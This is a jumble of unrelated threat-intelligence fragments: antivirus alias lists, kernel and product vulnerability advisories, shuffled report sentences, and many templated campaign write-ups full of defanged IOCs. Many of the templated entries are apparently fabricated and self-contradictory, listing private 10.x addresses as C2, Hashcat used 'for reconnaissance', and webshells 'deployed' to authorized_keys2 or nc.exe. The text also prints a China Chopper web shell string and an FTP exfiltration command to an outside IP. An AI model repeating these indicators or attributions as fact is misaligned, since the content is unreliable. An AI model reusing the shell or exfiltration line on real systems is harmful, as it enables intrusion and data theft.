A backdoor also known as: W32.Vetor.PE Virus.Win32.Virut.1!O W32.Virut.G Virus.Virut.Win32.1938 W32[.]Virut[.]CF Win32/Virut.17408 PE_VIRUX.Q Win.Trojan.Virut-377 Virus.Win32.Virut.q Virus.Win32.Virut.hpeg W32.Virut.l5he Virus.Win32.Virut.Ce Win32.Virut.5 PE_VIRUX.Q Win32/Virut.bn Virus/Win32.Virut.ce Win32.Virut.cr.61440 Virus:Win32/Virut.BN Virus.Win32.Virut.q Win32/Virut.F Virus.Virut.13 Win32/Virut.NBP Backdoor.Win32.DsBot W32/Virut.CE W32/Sality.AO Win32/Virus.VirutChangeEntry.H


In the Linux kernel, the following vulnerability has been resolved:

wifi: ath12k: fix node corruption in ar->arvifs list

In current WLAN recovery code flow, ath12k_core_halt() only reinitializes
the "arvifs" list head. This will cause the list node immediately following
the list head to become an invalid list node. Because the prev of that node
still points to the list head "arvifs", but the next of the list head
"arvifs" no longer points to that list node.

When a WLAN recovery occurs during the execution of a vif removal, and it
happens before the spin_lock_bh(&ar->data_lock) in
ath12k_mac_vdev_delete(), list_del() will detect the previously mentioned
situation, thereby triggering a kernel panic.

The fix is to remove and reinitialize all vif list nodes from the list head
"arvifs" during WLAN halt. The reinitialization is to make the list nodes
valid, ensuring that the list_del() in ath12k_mac_vdev_delete() can execute
normally.

Call trace:
__list_del_entry_valid_or_report+0xd4/0x100 (P)
ath12k_mac_remove_link_interface.isra.0+0xf8/0x2e4 [ath12k]
ath12k_scan_vdev_clean_work+0x40/0x164 [ath12k]
cfg80211_wiphy_work+0xfc/0x100
process_one_work+0x164/0x2d0
worker_thread+0x254/0x380
kthread+0xfc/0x100
ret_from_fork+0x10/0x20

The change is mostly copied from the ath11k patch:
hxxps://lore[ . ]kernel[ . ]org/all/20250320053145.3445187-1-quic_stonez@quicinc.com/

Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.4.1-00199-QCAHKSWPL_SILICONZ-1


In a 5-month timespan , actor managed to create a Trojan from scratch which will presumably continue evolving offering new features such as keylogging , back-connect proxy or RAT capabilities . They also identified broadly similar TTPs being used in the attack against a U.S law firm specializing in intellectual property law . We also identified www[.]gokickes[.]com was the C2 of another Invader variant ( 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb ) .


Path – location of the root “ stash ” directory Ext – search for files with one of these extensions only Date – search for files not earlier than this date Internal name : NvCpld[.]dll ( from export table ) , msdetltemp[ . ]dll ( from resources ) , IGFSRVC[ . ]dll ( from resources ) File format : PE32 DLL File size : 76,288 bytes MD5s : 8b238931a7f64fddcad3057a96855f6c , ce151285e8f0e7b2b90162ba171a4b90 Linker version : 11.0 , Microsoft Visual Studio Linker timestamps : 2015.05.29 11:20:32 ( GMT ) , 2006.11.25 04:39:15 ( GMT ) Exported functions :


Blog Post by Tenable: Tracking Aqua Blizzard's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2024-19363 against Microsoft Exchange deployments. The initial access vector involves spear-phishing emails from noreply@secure-verify[ . ]net delivering Conti. Post-compromise, the attackers deploy QakBot and use Hashcat for reconnaissance. C2 infrastructure includes 165 [ . ] 221 [ . ] 19 [ . ] 163 and auth-data[.]net. A staging server at hxxps://gateway-gateway[.]cc/callback hosts additional tooling. Key artifact: C:\Users\admin\Downloads\agent.py (SHA256: d8af6d83bde0ff03c5ed2671f598fa20dd0ac3a3b72d4c8c12bb3df461d4fd1d).


Yet our statistics says that about 60 % of Android users are still sitting with Android 4.4.2 and below . The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests . The backdoor was delivered via a malicious [.]rtf file that exploited CVE-2017-0199 .


Artifact Analysis for BlackCat campaign:
Stage 1 dropper at /home/user/.config/winlogon.exe - MD5: ad2253dd51db543d594e713e75cedeee
Stage 2 loader at C:\Users\admin\Desktop\dropper.ps1 - MD5: 7ed5841f11f87eed42aaf9f108a3ac3b
Final payload at /home/user/.config/agent.py - MD5: 06f949d97f49cf09adccd55b5df69fa4
Exfiltration module - SHA1: d02e72587a62f6b7bccc22985ae5833cb917ddea
All stages communicated with 60 [ . ] 100 [ . ] 107 [ . ] 211. Covenant signatures detected in Stage 2.


Malware Analysis Report: Cobalt Strike (SHA256: ce61355c704f0b1b6de291d93d6b8191230b4adadc6fcb8c660e98acb3e344df). Upon execution on Apache Struts, the sample creates C:\Users\Public\Documents\config.dat and injects into legitimate processes. Network analysis shows beaconing to 192[.]150[.]190[.]159 every 60 seconds and DNS queries to securegateway[.]org. The second stage was fetched from hxxp://node-login[.]club/secure/token and written to C:\Windows\Temp\beacon.dll. The payload uses SharpHound-style techniques for defense evasion. A secondary hash (SHA1: 11f2517e8b3be34112c61234c09bd4369494e438) was extracted from the unpacked payload.


A backdoor also known as: Trojan.Zlob.60259 Trojan.NSIS.StartPage.Q Trojan.Zlob.60259 Win32/SillyDl.YHD Win.Trojan.NSIS-38 Trojan-Downloader[.]Win32[.]NSIS[.]io Trojan.Zlob.60259 Riskware.Nsis.Adw.cxexqq Troj.Downloader.W32.Lipler.lkqh Trojan.Zlob.60259 Trojan.Fakealert.26734 BehavesLike.Win32.AdwareSearchProtect.kc TrojanDownloader:Win32/Gabeerf.A Trojan.Zlob.DEB63 Trojan.Win32.Banker.140384 Trojan.Zlob.60259 Trojan/Win32.StartPage.R26935 Trojan.NSIS


A backdoor also known as: Trojan.Emotet TSPY_EMOTET.SMZD172 Win32.Trojan.WisdomEyes.16070401.9500.9999 TSPY_EMOTET.SMZD172 Trojan.Packed2.40646 Trojan.Dovs.Win32.2068 BehavesLike[.]Win32[.]Backdoor[.]ch W32.Trojan.Emotet Trojan:Win32/Emotet.R!bit Trojan.Razy.D36CE4 Trojan/Win32.Emotet.R215266 Trojan.Win32.Emotet


Malware code showing onCreate method Figure 9. onCreate method of the main class decrypting the payload Next , the malware-defined function decryptAssetToDex ( a meaningful name we assigned during analysis ) receives the string “ CuffGmrQRT ” as the first argument , which is the name of the encrypted file stored in the Assets folder . backdoors that now appear to be part of APT15 's toolset . It turns out that the first ZIP structure is for the image file order[ . ]jpg while the second one is for an executable file SHIPPING_MX00034900_PL_INV_pdf[ . ]exe . Astamirov is now facing charges of wire fraud and of intentionally damaging protected computers , plus he 's accused of making ransom demands through deploying ransomware .


China Chopper web shell files named error404[ . ]aspx included the "eval (Request.Item["|"] ,"unsafe" ) ; " string .


Forensic Investigation Notes: Analysis of the compromised host revealed GhostPack artifacts at C:\Users\admin\Desktop\update.dll. Memory dump analysis confirmed execution of Sharphound. Registry modifications pointed to persistence via C:\Users\Public\Documents\sam.hive. Network forensics identified connections to 10 [ . ] 39 [ . ] 235 [ . ] 90 and portal-relay[.]cc. Email headers traced the initial vector to hr@document-share[ . ]link. File C:\Windows\Temp\runtime.dll (SHA1: 00b472a7ef475a63668c17948525561e7c369d96) was identified as the initial dropper. A staging URL hxxp://proxy-edge[ . ]site/panel/index.html resolved to 192 [ . ] 20 [ . ] 53 [ . ] 113. Secondary artifact hash: MD5: c48b4cf283597b4f25d38ba6bf4eff08.


Artifact Analysis for BlackCat campaign:
Stage 1 dropper at /opt/app/bin/svchost.exe - SHA1: 8498928683e518848806498c06fd5f219ffa8f29
Stage 2 loader at C:\Users\admin\Downloads\agent.py - MD5: f777fb8697e4f3b539f80a75c6f3ec77
Final payload at C:\Windows\System32\backdoor.elf - MD5: 65cd672c78f04296256846274558684b
Exfiltration module - SHA1: 1f075a3e3de862d313f97963563cf8a5997d98d2
All stages communicated with 10[.]191[.]91[.]59. Sliver signatures detected in Stage 2.


A backdoor also known as: Trojan/Downloader.Delf.quw Win32.Trojan.WisdomEyes.16070401.9500.9770 Win.Trojan.Downloader-57555 Trojan.DownLoad2.37645 BehavesLike[.]Win32[.]PUPXAS[.]ch Trojan.Graftor.D1EFD7 TrojanDownloader:Win32/Blortios.C Trojan/Win32.Downloader.R18903 Win32/Trojan.88b


Blog Post by Mandiant: Tracking BlackTech's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2026-10752 against Atlassian Confluence deployments. The initial access vector involves spear-phishing emails from hr@account-update[.]xyz delivering Latrodectus. Post-compromise, the attackers deploy TrickBot and use Impacket for reconnaissance. C2 infrastructure includes 126[.]21[.]87[.]103 and edgeportal[.]live. A staging server at hxxps://cdnsync[.]info/api/v2/auth hosts additional tooling. Key artifact: /usr/local/bin/payload.bin (MD5: ccab949c2f8d2f57b2e0033abed3fd1e).


At the same time , the lack of encryption , use of a public FTP server and the low opsec level could indicate that less skilled attackers are behind the malware . This campaign , dubbed Operation GhostSecret , leverages multiple implants , tools , and malware variants associated with the state-sponsored cyber group HIDDEN COBRA . This tool was then installed to csidl_profile\appdata\roaming\adobe\ftp[ . ]exe . Adversaries may manipulate physical process control within the industrial environment .


Blog Post by Huntress: Tracking Salt Typhoon's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2020-19144 against Ubuntu 22.04 deployments. The initial access vector involves spear-phishing emails from ceo@login-portal[ . ]tech delivering SmokeLoader. Post-compromise, the attackers deploy NjRAT and use LaZagne for reconnaissance. C2 infrastructure includes 109 [ . ] 81 [ . ] 57 [ . ] 51 and gatewayapi[ . ]site. A staging server at hxxp://portalapi[ . ]tech/assets/js/payload.js hosts additional tooling. Key artifact: C:\Windows\System32\payload.bin (MD5: da530bbbb0018619e5581fe65b72dc5a).


Malware Analysis Report: Gootloader (MD5: 0fa957d45d185b9ead181417bbe49afc). Upon execution on Cisco ASA, the sample creates C:\Windows\System32\shell.php and injects into legitimate processes. Network analysis shows beaconing to 10 [ . ] 108 [ . ] 155 [ . ] 38 every 60 seconds and DNS queries to sync-mail[ . ]club. The second stage was fetched from hxxp://proxystatic[.]dev/secure/token and written to /opt/app/bin/loader.exe. The payload uses Chisel-style techniques for defense evasion. A secondary hash (MD5: b9980573972767191297fb77de215e3d) was extracted from the unpacked payload.


] top/ Oct 17 , 2017 hxxp : //online[.]bankaustria[.]at.id87721 [ . The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials . APT28 is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment .


Vulnerability Advisory: CVE-2024-27546 is a critical CSRF vulnerability affecting Zyxel USG. FireEye confirmed active exploitation by APT28 in the wild. Exploitation delivers DarkSide (SHA1: 9d45cb8714ddb217127203a99a9d34e8ecc69384) which is dropped to C:\Windows\Tasks\agent.py. The exploit payload is hosted at hxxp://gateway-portal[ . ]tech/panel/index.html and communicates to 10 [ . ] 109 [ . ] 18 [ . ] 76 for C2.


Artifact Analysis for Vidar campaign:
Stage 1 dropper at /usr/local/bin/helper.sh - MD5: 07f736a1593ac1ad8eb9c3ce52fb15de
Stage 2 loader at /dev/shm/ntds.dit - SHA1: c3cddbb88cd35ac6f32ca267d773962a262bc475
Final payload at /tmp/ntds.dit - SHA1: 0a9336c606e9a3158a2bd171c55682923ea825ba
Exfiltration module - SHA1: 0a82c2bda4cb8dba6d94974fb7370f24e5412951
All stages communicated with 25[.]39[.]236[.]208. Rubeus signatures detected in Stage 2.


Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Fusion Middleware (component: Analytics Actions). Supported versions that are affected are 5 [ . ] 5 [ . ] 0 [ . ] 0.0, 12 [ . ] 2 [ . ] 1 [ . ] 3.0 and 12 [ . ] 2 [ . ] 1 [ . ] 4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).


Malware Analysis Report: Latrodectus (MD5: 92d82a0eaa8956ed8b6e0f15d703680a). Upon execution on SonicWall SMA, the sample creates /home/user/.config/payload.bin and injects into legitimate processes. Network analysis shows beaconing to 192[.]175[.]134[.]17 every 60 seconds and DNS queries to gatewayupdate[.]io. The second stage was fetched from hxxps://auth-data[ . ]online/api/v2/auth and written to /etc/cron.d/agent.py. The payload uses Brute Ratel-style techniques for defense evasion. A secondary hash (SHA1: 9c990507e7d51e1b1122226c0cc41b47df3af991) was extracted from the unpacked payload.


Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <hxxps://github[.]com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.


] com , points to the IP address 54[.]69[.]156[.]31 which serves a self-signed TLS certificate with the certificate common name MyCert and fingerprint 11:41:45:2F : A7:07:23:54 : AE:9A : CE : F4 : FE:56 : AE : AC : B1 : C2:15:9F:6A : FC:1E : CC:7D : F8:61 : E3:25:26:73:6A . The Taidoor attackers have been actively engaging in targeted attacks since at least March 4 , 2009 . Decodes the Base64 payload and writes the file to C:\ProgramData\IntegratedOffice[.]exe . First , the discovery of new OT malware presents an immediate threat to affected organizations , since these discoveries are rare and because the malware principally takes advantage of insecure by design features of OT environments that are unlikely to be remedied any time soon .


We detonated the file in VxStream ’s automated malware analysis capability and found testproj[ . ]exe dropped a benign Microsoft Word document that pulls a jpg file from treestower[.]com .


In the Linux kernel, the following vulnerability has been resolved:

smack: tcp: ipv4, fix incorrect labeling

Currently, Smack mirrors the label of incoming tcp/ipv4 connections:
when a label 'foo' connects to a label 'bar' with tcp/ipv4,
'foo' always gets 'foo' in returned ipv4 packets. So,
1) returned packets are incorrectly labeled ('foo' instead of 'bar')
2) 'bar' can write to 'foo' without being authorized to write.

Here is a scenario how to see this:

* Take two machines, let's call them C and S,
   with active Smack in the default state
   (no settings, no rules, no labeled hosts, only builtin labels)

* At S, add Smack rule 'foo bar w'
   (labels 'foo' and 'bar' are instantiated at S at this moment)

* At S, at label 'bar', launch a program
   that listens for incoming tcp/ipv4 connections

* From C, at label 'foo', connect to the listener at S.
   (label 'foo' is instantiated at C at this moment)
   Connection succeedes and works.

* Send some data in both directions.
* Collect network traffic of this connection.

All packets in both directions are labeled with the CIPSO
of the label 'foo'. Hence, label 'bar' writes to 'foo' without
being authorized, and even without ever being known at C.

If anybody cares: exactly the same happens with DCCP.

This behavior 1st manifested in release 2[.]6[.]29[.]4 (see Fixes below)
and it looks unintentional. At least, no explanation was provided.

I changed returned packes label into the 'bar',
to bring it into line with the Smack documentation claims.


com.bmm.mobilebankingapp net.bnpparibas.mescomptes fr.banquepopulaire.cyberplus com.caisseepargne.android.mobilebanking com.palatine.android.mobilebanking.prod com.ocito.cdn.activity.creditdunord com.fullsix.android.labanquepostale.accountaccess mobi.societegenerale.mobile.lappli com.db.businessline.cardapp com.skh.android.mbanking com.ifs.banking.fiid1491 Truvasys has been involved in several attack campaigns , where it has masqueraded as one of server common computer utilities , including WinUtils , TrueCrypt , WinRAR , or SanDisk . It is distributed in a spear phishing campaign with a weaponized ofﬁce document that appears to be designed to lure military personnel . The injected code calls out a first domain ( seen above encoded in Base64 ) and generates a Base64 response : Decoding it reveals a URL pointing to the actual skimming code , which is heavily obfuscated ( likely via obfuscator[ . ]io ): The data exfiltration is also done differently as seen in the image below .


Europol published a threat intelligence report linking Kimsuky to a new campaign exploiting CVE-2026-44676 in Atlassian Confluence. The attackers deployed Hive via LinPEAS, establishing C2 communication with 33 [ . ] 120 [ . ] 51 [ . ] 73 and staticbackup[ . ]club. A secondary payload was downloaded from hxxps://cache-cache[.]tech/callback. The malware binary (SHA256: 4c92d14cbaaa3222a41a0622e72512b5a2e953bc1469e6c46bc6c22ff073bbff) was dropped to C:\Windows\Temp\winlogon.exe. Phishing emails were sent from helpdesk@login-portal[.]tech targeting enterprise users. A backup C2 server was identified at 10 [ . ] 162 [ . ] 248 [ . ] 116.


The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server . DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32[ . ]tsp ' that provides remote control , belonging to this category .


Exploitation of CVE-2021-21972 was attributed to APT29 targeting Windows 11 instances. The exploit payload was served from 179[.]152[.]145[.]170 and communicated with cdn-delivery[[.]]xyz for command-and-control. Post-exploitation, a webshell (SHA256: 92376589330387034357d5813804d154b6a63c47dd17e2d78055be3fc0bb95bb) was deployed to /home/www-data/.ssh/authorized_keys2.


RemcosRAT executable (SHA256: 667b71e6f8389bf64ec8db65407fec3a449f055d6be8e1e27763532489f68ce2, MD5: d4302d76d91af8bc39ef48d8a2f7ba86) was identified by threatcat_ch. RemcosRAT is a commercial remote administration tool commonly abused by threat actors. This sample connects to remcos-panel[ . ]zapto[ . ]org:4782 for command and control, and exfiltrates stolen data to ftp://upload[.]malicioushost[.]ru/drops/.


Additional SideWinder C2 domains discovered by Kaspersky include modpak-info[ . ]services, pmd-offc[.]info, dirctt888[ . ]com, mods[.]email, dowmload[ . ]co, downl0ad[.]org, d0wnlaod[ . ]org, dirctt88[.]info, directt88[ . ]com, aliyum[ . ]email, d0cumentview[ . ]info, debcon[ . ]live, document-viewer[ . ]live, documentviewer[.]info, ms-office[ . ]pro, pncert[.]info, session-out[ . ]com, ziptec[.]info, depo-govpk[ . ]com, crontec[ . ]site, mteron[.]info, mevron[ . ]tech, and veorey[.]live. Additional file hashes: e0bce049c71bc81afe172cd30be4d2b7, 872c2ddf6467b1220ee83dca0e118214, 3d9961991e7ae6ad2bae09c475a1bce8, a694ccdb82b061c26c35f612d68ed1c2, f42ba43f7328cbc9ce85b2482809ff1c, 0216ffc6fb679bdf4ea6ee7051213c1e, and 433480f7d8642076a8b3793948da5efe.


A backdoor also known as: Trojan.Heur.kmGfrjraeapm2 W32/Trojan-Gypikon-based.DM2!Ma BehavesLike[.]Win32[.]Downloader[.]cc W32/Trojan-Gypikon-based.DM2!Ma Trojan/Banker.Banker.zmm Worm:Win32/Xtrat.B!A BScope.Trojan-Spy.Zbot Trj/GdSda.A


Vulnerability Advisory: CVE-2026-42806 is a critical XXE injection affecting Atlassian Confluence. Qualys confirmed active exploitation by Star Blizzard in the wild. Exploitation delivers DarkSide (MD5: 4fefc23485e9092b71d6b3605ce67f91) which is dropped to C:\Windows\Temp\payload.bin. The exploit payload is hosted at hxxp://portal-cdn[ . ]xyz/callback and communicates to 10 [ . ] 87 [ . ] 216 [ . ] 80 for C2.


IOC Bulletin - XLoader Campaign:
Network Indicators:
- 51[.]27[.]239[.]138
- 192 [ . ] 150 [ . ] 255 [ . ] 104
- 176 [ . ] 12 [ . ] 25 [ . ] 244
- nodelogin[ . ]info
- portalgateway[.]site
URLs:
- hxxps://edgedata[ . ]site/admin/config
- hxxp://cloudnode[.]site/admin/config
Email Senders:
- it@phishing-domain[.]com
- account@auth-check[.]org
File Indicators:
- MD5: c58850cc770528f4fa883b59e8cfda55
- SHA1: 07ea732840713e55a5462ce05861a31b264090ef
- Drop path: /opt/app/bin/shell.php


Based on our culprit ’ s email address , we were able to find his GitHub repository . The malware then builds two DLLs in memory – they are 32 and 64-bit DLLs that have identical functionality . Filename: How can North Korean hydrogen bomb wipe out Manhattan[.]scr .


Sophos X-Ops published a threat intelligence report linking Salt Typhoon to a new campaign exploiting CVE-2021-32298 in F5 BIG-IP. The attackers deployed Qbot via Brute Ratel, establishing C2 communication with 10 [ . ] 206 [ . ] 211 [ . ] 10 and storagemail[ . ]live. A secondary payload was downloaded from hxxp://data-relay[.]tech/assets/js/payload.js. The malware binary (SHA1: ea830fc544ebfc159dfc565f5b1be61abf5ef84a) was dropped to /etc/cron.d/sam.hive. Phishing emails were sent from alert@secure-verify[.]net targeting enterprise users. A backup C2 server was identified at 10[.]155[.]105[.]168.


Blog Post by INTERPOL: Tracking Sandworm's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2023-39714 against Progress Telerik deployments. The initial access vector involves spear-phishing emails from admin@account-update[.]xyz delivering Latrodectus. Post-compromise, the attackers deploy Hive and use Brute Ratel for reconnaissance. C2 infrastructure includes 84 [ . ] 84 [ . ] 159 [ . ] 231 and proxy-gateway[.]com. A staging server at hxxp://backupauth[.]info/portal/verify hosts additional tooling. Key artifact: C:\Program Files\Common Files\taskhost.exe (MD5: 6db6d55057415dfc296f7704db422d73).


This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3[.]6[.]6[.]922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of CMP files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-11337.


Google TAG published a threat intelligence report linking Star Blizzard to a new campaign exploiting CVE-2023-33283 in Juniper SRX. The attackers deployed Amadey via Certutil, establishing C2 communication with 55[.]102[.]159[.]103 and api-storage[.]com. A secondary payload was downloaded from hxxps://cache-data[ . ]com/assets/js/payload.js. The malware binary (SHA1: b34e8181a11e04ad27121e7ca00ec86ed1c796c6) was dropped to C:\Users\admin\AppData\Local\Temp\helper.sh. Phishing emails were sent from info@phishing-domain[ . ]com targeting enterprise users. A backup C2 server was identified at 113 [ . ] 231 [ . ] 61 [ . ] 64.


Secureworks detected a multi-stage attack chain. The initial phishing email from noreply@document-share[ . ]link contained a link to hxxp://cdn-cache[ . ]live/callback. This redirected to hxxps://edge-node[.]site/assets/js/payload.js on backupcloud[ . ]link. A secondary email from noreply@auth-check[.]org pointed to hxxps://proxy-secure[ . ]com/panel/index.html which delivered TrickBot. The final payload callback was hxxps://mail-relay[ . ]link/api/v2/auth resolving to 210 [ . ] 191 [ . ] 215 [ . ] 129 via relaystorage[ . ]top.


We continue to monitor its progress . ] com , which we previously identified in October 2017 to be an OilRig C2 . It can be proc[.]exe or chrome[ . ]exe or winrar[.]exe . External Server Requests Indicates an attempt to exfiltrate data to an external server .


A backdoor also known as: Trojan-GameThief.Win32.OnLineGames!O Trojan.OnLineGames.Win32.215966 Trojan.Heur.RP.cmIfaG!Q79i TSPY_ONLINEG.TGV Win32.Trojan.WisdomEyes.16070401.9500.9941 Win32/Zuten[ . ]DK TSPY_ONLINEG.TGV Trojan-GameThief.Win32.OnLineGames.afmb Trojan.Win32.OnLineGames.cvmqrs Troj.GameThief.W32.OnLineGames.afmb!c TrojWare.Win32.Magania.~D Trojan.PWS.Gamania.9849 BehavesLike.Win32.Sytro.nc Virus.Win32.Onlinegames.BBH TrojanDownloader.Small.unq Trojan[GameThief]/Win32.OnLineGames Trojan:Win32/Hookja.A Trojan-GameThief.Win32.OnLineGames.afmb Trojan/Win32.OnlineGameHack.R70066 Trojan.Win32.OnlineGames.10068 Win32.Trojan-gamethief.Onlinegames.Wvkq W32/Onlinegames.KKW!tr.pws


We are constantly on the lookout for new threats and we are expanding our protections . Syncopate is a well-known Russian company that is best known as the developer and operator of the ' GameNet ' platform . Using host-based digital forensic analysis , CTU analysts observed the intruders using the native ‘ at[ . ]exe ’ Windows task scheduler tool to move laterally within the infrastructure . The web page “ about.htm ” implements an exploit for Microsoft Internet Explorer 8 .


NATS-Server is a High-Performance server for NATS[ . ]io, a cloud and edge native messaging system. Prior to versions 2.11.15 and 2.12.6, when using mTLS for client identity, with `verify_and_map` to derive a NATS identity from the client certificate's Subject DN, certain patterns of RDN would not be correctly enforced, allowing for authentication bypass. This does require a valid certificate from a CA already trusted for client certificates, and `DN` naming patterns which the NATS maintainers consider highly unlikely. So this is an unlikely attack. Nonetheless, administrators who have been very sophisticated in their `DN` construction patterns might conceivably be impacted. Versions 2.11.15 and 2.12.6 contain a fix. As a workaround, developers should review their CA issuing practices.


To activate this menu the operator needs to call the hardcoded number “ 9909 ” from the infected device : A hidden menu then instantly appears on the device display : The operator can use this interface to type any command for execution . Therefore , it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer . APT33 : 8[.]26[.]21[.]120 mynetwork[.]ddns[.]net . Analysis into the malware and its functionality reveals that its capabilities are comparable to those employed in previous incidents and malware , such as and , which were both malware variants deployed in the past to impact electricity transmission and distribution via IEC-104 .


Tenable published a threat intelligence report linking Forest Blizzard to a new campaign exploiting CVE-2024-23934 in Citrix NetScaler. The attackers deployed XLoader via Nmap, establishing C2 communication with 123 [ . ] 236 [ . ] 228 [ . ] 92 and sync-login[ . ]dev. A secondary payload was downloaded from hxxps://sync-api[.]club/login. The malware binary (SHA1: 6cee7ffab9b17a0d4aa9182815bc0a5941c35abd) was dropped to C:\Windows\Temp\shell.php. Phishing emails were sent from notification@identity-verify[.]cc targeting enterprise users. A backup C2 server was identified at 125 [ . ] 55 [ . ] 89 [ . ] 166.


Relative library resolution in linux container-executor binary in Apache Hadoop 3.3.1-3.3.4 on Linux allows local user to gain root privileges. If the YARN cluster is accepting work from remote (authenticated) users, this MAY permit remote users to gain root privileges.

Hadoop 3.3.0 updated the " YARN Secure Containers hxxps://hadoop[ . ]apache[ . ]org/docs/stable/hadoop-yarn/hadoop-yarn-site/SecureContainer.html " to add a feature for executing user-submitted applications in isolated linux containers.

The native binary HADOOP_HOME/bin/container-executor is used to launch these containers; it must be owned by root and have the suid bit set in order for the YARN processes to run the containers as the specific users submitting the jobs.

The patch " YARN-10495 hxxps://issues[.]apache[.]org/jira/browse/YARN-10495 . make the rpath of container-executor configurable" modified the library loading path for loading .so files from "$ORIGIN/" to ""$ORIGIN/:../lib/native/". This is the a path through which libcrypto.so is located. Thus it is is possible for a user with reduced privileges to install a malicious libcrypto library into a path to which they have write access, invoke the container-executor command, and have their modified library executed as root.
If the YARN cluster is accepting work from remote (authenticated) users, and these users' submitted job are executed in the physical host, rather than a container, then the CVE permits remote users to gain root privileges.

The fix for the vulnerability is to revert the change, which is done in  YARN-11441 hxxps://issues[ . ]apache[ . ]org/jira/browse/YARN-11441 , "Revert YARN-10495". This patch is in hadoop-3.3.5.

To determine whether a version of container-executor is vulnerable, use the readelf command. If the RUNPATH or RPATH value contains the relative path "./lib/native/" then it  is at risk

$ readelf -d container-executor|grep 'RUNPATH\|RPATH'
0x000000000000001d (RUNPATH)            Library runpath: [$ORIGIN/:../lib/native/]

If it does not, then it is safe:

$ readelf -d container-executor|grep 'RUNPATH\|RPATH'
0x000000000000001d (RUNPATH)            Library runpath: [$ORIGIN/]

For an at-risk version of container-executor to enable privilege escalation, the owner must be root and the suid bit must be set

$ ls -laF /opt/hadoop/bin/container-executor
---Sr-s---. 1 root hadoop 802968 May 9 20:21 /opt/hadoop/bin/container-executor

A safe installation lacks the suid bit; ideally is also not owned by root.

$ ls -laF /opt/hadoop/bin/container-executor
-rwxr-xr-x. 1 yarn hadoop 802968 May 9 20:21 /opt/hadoop/bin/container-executor

This configuration does not support Yarn Secure Containers, but all other hadoop services, including YARN job execution outside secure containers continue to work.


Vulnerability Advisory: CVE-2024-42717 is a critical IDOR vulnerability affecting Zyxel USG. Sophos X-Ops confirmed active exploitation by Mustang Panda in the wild. Exploitation delivers BumbleBee (MD5: 6ba3dfb264e42d2e047003c2f022ffe5) which is dropped to /etc/cron.d/backdoor.elf. The exploit payload is hosted at hxxps://datacloud[.]link/callback and communicates to 192 [ . ] 230 [ . ] 157 [ . ] 197 for C2.


Tenable published a threat intelligence report linking Charming Kitten to a new campaign exploiting CVE-2026-40674 in F5 BIG-IP. The attackers deployed SystemBC via Sliver, establishing C2 communication with 172 [ . ] 74 [ . ] 196 [ . ] 49 and updatebackup[.]club. A secondary payload was downloaded from hxxp://cachecache[.]top/download/update.exe. The malware binary (MD5: 629ab31c8a4ecd3db1cd2e1b40baac66) was dropped to /dev/shm/csrss.exe. Phishing emails were sent from ceo@urgent-notice[ . ]online targeting enterprise users. A backup C2 server was identified at 10[.]141[.]212[.]88.


. McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications . Later at 6:56 , the attackers exfiltrated data using this FTP tool to a remote host: JsuObf[ . ]exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89[.]34[.]237[.]118:2020 -f/[REDACTED]-u[REDACTED]-p[REDACTED] . Between Jan. 1 – June 20 , 2023 , Mandiant identified more than 500 distinct victims that the KillNet collective has allegedly targeted with DDoS attacks .


Sophos X-Ops published a threat intelligence report linking Flax Typhoon to a new campaign exploiting CVE-2021-37493 in Cisco ASA. The attackers deployed XLoader via LaZagne, establishing C2 communication with 10[.]71[.]244[.]83 and syncstorage[.]info. A secondary payload was downloaded from hxxp://sync-mail[.]club/login. The malware binary (SHA1: 399069f190452ace4efc3570ab38e184ff8375ac) was dropped to C:\Users\Public\Documents\sam.hive. Phishing emails were sent from finance@account-update[ . ]xyz targeting enterprise users. A backup C2 server was identified at 10 [ . ] 133 [ . ] 196 [ . ] 61.


Exploitation of CVE-2023-34362 was attributed to Winnti Group targeting Confluence Server instances. The exploit payload was served from 77[.]11[.]79[.]94 and communicated with secure-login[[ . ]]top for command-and-control. Post-exploitation, a webshell (SHA256: d51ab86ad6b7305fd99d17bf76097eaaba7cf0698a014af35770b207a65804cf) was deployed to C:\Windows\Temp\nc.exe.


The fake doesn ’ t quite nail the app name . We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea . Exfiltration is done through the bitsadmin[ . ]exe . “ And his access was never shut off until today ? , ” asked the company ’s general counsel Mike Dacks .


